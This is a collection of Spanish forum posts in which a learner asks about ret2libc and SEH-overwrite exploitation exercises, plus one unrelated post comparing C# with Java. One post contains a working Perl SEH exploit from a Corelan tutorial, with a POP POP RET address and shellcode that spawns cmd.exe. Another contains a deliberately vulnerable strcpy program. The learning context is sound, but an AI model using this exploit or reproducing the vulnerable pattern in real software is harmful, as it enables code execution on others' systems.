Y tú te llamas ret2libc jajaja

Ya, cada compilador reserva de una manera (el mío 0x20, es decir, 31d, y apartir de ahí siempre muestra el mismo EIP, no más Aes ni nada).

¡Gracias por responder!

Buenos días.

Estaba siguiendo el tutorial http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf para bypassear el HW DEP mediante el método ret2libc.

Éste es el código a explotar:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
	char buff[5];
 
	if (argc != 2)
	{
		puts("Needs and argument!");
		exit(1);
	}
 
	printf("Exploiting via returning into libc function\n");
	strcpy(buff, argv[1]);
	printf("\nYou typed [%s]\n\n", buff);
 
	return 0;
}

El caso es que según pone en el tutorial, con 32 Aes sobreescribiríamos completamente el RET ADDRESS, pero en el tutorial, el autor hace uso de un sistema de 32 bits, y yo estoy usando la última versión de Kali, de 64 bits.
Con 30 Aes, me faltan 2 Aes para sobreescribir todo el RET ADDRESS, pero con o más de 31 Aes, siempre muestra  0x0000000000400655. ¿Qué pasa?



Muchas gracias

Buenos días.

Cuando se compila el propio ejecutable con SAFESEH, entonces el SEH handler de las excepciones que programamos no pueden apuntar al propio ejecutable (ha sido compilado con SAFESEH), pero si el SEH handler y el SEH chain son punteros, entonces, en una ejecución normal de cualquier programa, ¿dónde apunta el SEH handler? La cuestión es esa, que apunta al propio ejecutable y NO se puede.

Muchas gracias .

Desde luego, no hubiera comentado si no lo hubiera hecho.

La cosa es que se para en el primer POP, pero ESP NO ES 0x00000000 (ni dea de por qué), y más arriba de la pila (ESP más pequeños), donde apunta ESP, está así la pila:

| Puntero (Return tu ntdll.0xDirección)
| Puntero (apunta a un sitio de la pila actual, que según parece, contiene el valor C0000005)
| Puntero a mi handler

Buenas.

Vuelvo a enviar un post para que recibas la notificación.

He estado leyendo sobre SEH, y mi duda es referente al POP,POP,RET que ejecuta el SEH handler.

En teoría, nuestra pila (a grandes rasgos) está así antes de desbordar la pila:
 ________________
| Variables locales [ESP = EBP]
|________________ Aquí se ejecutaría mov ebp,esp
| EBP guardado [ESP-16d]
|________________
| RET address [ESP-12d]
|________________
| Parámetros [ESP-8d]
|________________
| SEH chain [ESP-4d]
|________________
| SEH handler [ESP tiene determinado valor, ya que aún no ha sido XOReado]
|________________

Pues bueno, producimos la excepción.
Se XORean los registros --> ESP=0x00000000, EBP=0x00000000, Otros registros=0x00000000

Se ejecuta el SEH handler, es decir, el POP-POP-RET al que apunta, y eso provoca que:
POP -> ESP += 4 -> ESP=0x00000004
POP -> ESP += 4 -> ESP=0x00000008
RET -> RET ESP -> Ejecuta el SEH chain

El tutorial de Corelan dice "(3) Durante el prólogo de manejador, la dirección del puntero al próximo SEH fue puesta en el Stack en ESP+8. pop pop ret pone esta dirección en EIP y permite la ejecución del código en la dirección al próximo SEH".

Entiendo lo que dice, y lo que hace el POP-POP-RET, pero no entiendo cómo relacionar la pila que he puesto al principio del post con lo que explica ahora el tutorial de Corelan.

Podría seguir los tutoriales teniendo esa duda, pero me gustaría saber cómo funciona realmente, por favor.

Muchas gracias.

Vamos a ver...

En teoría, se ejecuta el SEH handler, pero cuando haces la prueba para saber si se produce un buffer overflow, el EIP recoge los bytes 585,586,587,588, entonces, en teoría, EIP es el SEH chain...

Aparte, si se ejecuta el SEH handler, ¿por qué funciona el POP POP RET? En teoría el registro ESP ha sido XOReado, y lo que queremos "RETear" no está en el tercer sitio encima de todo el stack.

Lo demás lo entiendo.

Hola MCKSys Argentina, gracias por tu respuesta.

Acabo de releerme el PDF.
Vamos a ver,

Pero no lo termino de entender. Tengo 2 preguntas:
1. Si el JMP SHORT 6 ejecuta ya nuestra shellcode, para qué queremos ponerle un POP-POP-RET al SEH handler?
2. He estado buscando sobre SafeSEH en este foro (http://foro.elhacker.net/bugs_y_exploits/duda_con_safeseh-t393112.0.html), y SafeSEH lo que hace es que el SEH handler no pueda ejecutar determinadas DLL del sistema, ya que ntdll.dll no lo permitirá.

Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo ...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).

=pod
####### EXPLICACIÓN #######
 
Se sobreescribe el stack con basura hasta antes del SEH chain,
Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
Sobreescribimos a contiuación con la shellcode
Ponemos basura porque queremos
=cut
 
$uitxt = "UI.TXT";
 
my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
										   #
										   # jmp short 6
										   # NOP
										   # NOP
my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll
 
# Open a console (cmd.exe)
# Size: 48 bytes
my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
"\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
"\xFF\xD3";
 
my $junk2 = "\x90" x 1000;
 
open(myfile,">$uitxt") ;
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Imagen del OllyDbg:



Desde ya muchas gracias.

Buenos días!!

Estaba intentando usar el módulo exploitable de WinDbg, así que voy a http://msecdbg.codeplex.com y me lo descargo, lo descomprimo y cojo MSEC.dll del directorio Release (también he probado a hacerlo con la DLL que hay en el directorio Debug, ya que el tutorial 3 de Corelan no lo especifica) y la pongo en C:\Archivos de programa\Debugging Tools for Windows (x86)\winext, así pues, abro SoriTong.exe con WinDbg e intento cargar el módulo exploitable:


He probado a usar la ruta completa, pero me sale el mismo mensaje.
¿Qué ocurre?

Gracias de antemano.

Con C# puedes programar aplicaciones nativas para Windows, MAC OS, iOS, iPad, WP y Android, y usar la máquina virtual Mono para GNU/Linux. También puedes usar Mono con las otras plataformas.

Lo cierto es que sea nativo o con Mono, irá más rápido, ya que la máquina virtual Mono —la cual tiene una libre implementación— está más optimizada que Dalvik (la de Android) y que la desktop de Oracle.

El inconveniente es que es carísimo comprar Xamarin (compilador que permite desarrollar para tantas plataformas diferentes compartiendo gran parte del código, poniéndole Mono al programa o compilándolo nativamente).

Con lo que respecta a Java, es lento, es incómodo de programar (tiene cuarentamil clases que tienes que instanciar), y no incluye tecnologías importantes como la sobrecarga de operadores o las estructuras, por no hablar de la sintaxis que tiene...

Y tú, ¿qué opinas?